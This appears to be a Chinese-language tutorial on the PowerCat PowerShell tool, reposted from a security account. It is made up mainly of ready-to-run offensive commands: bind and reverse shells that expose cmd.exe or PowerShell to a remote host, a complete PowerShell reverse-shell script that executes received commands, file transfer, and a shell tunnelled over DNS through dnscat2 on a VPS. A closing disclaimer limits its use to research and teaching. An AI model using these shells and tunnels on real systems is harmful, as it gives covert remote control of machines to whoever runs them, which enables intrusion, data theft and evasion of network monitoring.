目录
参数的意义
-l 监听一个连接
-c 连接到一个监听
-p 指定端口
-e 指定一个程序执行
-ep 执行Powershell
-v 显示详细信息
-r Relay. Format: "-r tcp:10.1.1.1:443" [String]
-u Transfer data over UDP. [Switch]
-dns Transfer data over dns (dnscat2). [String]
-dnsft DNS Failure Threshold. [int32]
-t Timeout option. Default: 60 [int32]
-i Input: Filepath (string), byte array, or string. [object]
-o Console Output Type: "Host", "Bytes", or "String" [String]
-of Output File Path. [String]
-d Disconnect after connecting. [Switch]
-rep Repeater. Restart after disconnecting. [Switch]
-g Generate Payload. [Switch]
-ge Generate Encoded Payload. [Switch]
-h 打印出帮助
由于PowerCat是NetCat的PowerShell形式,所以,PowerCat可以无缝的和Netcat连接。PowerCat的用法和Netcat几乎一模一样。
正向连接
nc -lvp 8888
Windows:
Import-Module .powercat.ps1
powercat -c 192.168.10.11 -p 8888 -e cmd.exe
Kali上的nc反向连接Windows上的powercat
Kali:
nc 192.168.10.1 8888 -vv
Windows(192.168.10.1):
Import-Module .powercat.ps1
powercat -l -p 8888 -e cmd.exe -v
服务器监听(192.168.10.1):
Import-Module .powercat.ps1
powercat -l -p 8888
客户端连接:
Import-Module .powercat.ps1
powercat -c 192.168.10.1 -p 8888 -ep
服务器监听(192.168.10.1):
Import-Module .powercat.ps1
powercat -l -p 8888
客户端连接:
.reverse.ps1
其中,reverse.ps1 脚本的内容如下:
$client = New-Object System.Net.Sockets.TCPClient('192.168.10.1',8888);
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()
Import-Module .powercat.ps1
powercat -l -p 8888 -of test.txt -v
Import-Module .powercat.ps1
powercat -c 192.168.10.1 -p 8888 -i C:UsersxieDesktoptest.txt -v
安装dnscat
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install
安装完dnscat后,在VPS上执行如下命令:
ruby dnscat2.rb ttpowercat.test -e open --no-cache
在Windows上执行如下命令:
powercat -c 192.168.10.11 -p 53 -dns ttpowercat.test -e cmd.exe
注:在执行完powercat的命令后,还需要按enter键,对面才能接收到shell
PowerCat是Netcat的Powershell版本,作者是这么介绍的,项目地址:https://github.com/besimorhino/powercat
本文始发于微信公众号(安世加):技术干货 | Powercat.ps1脚本的用法
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论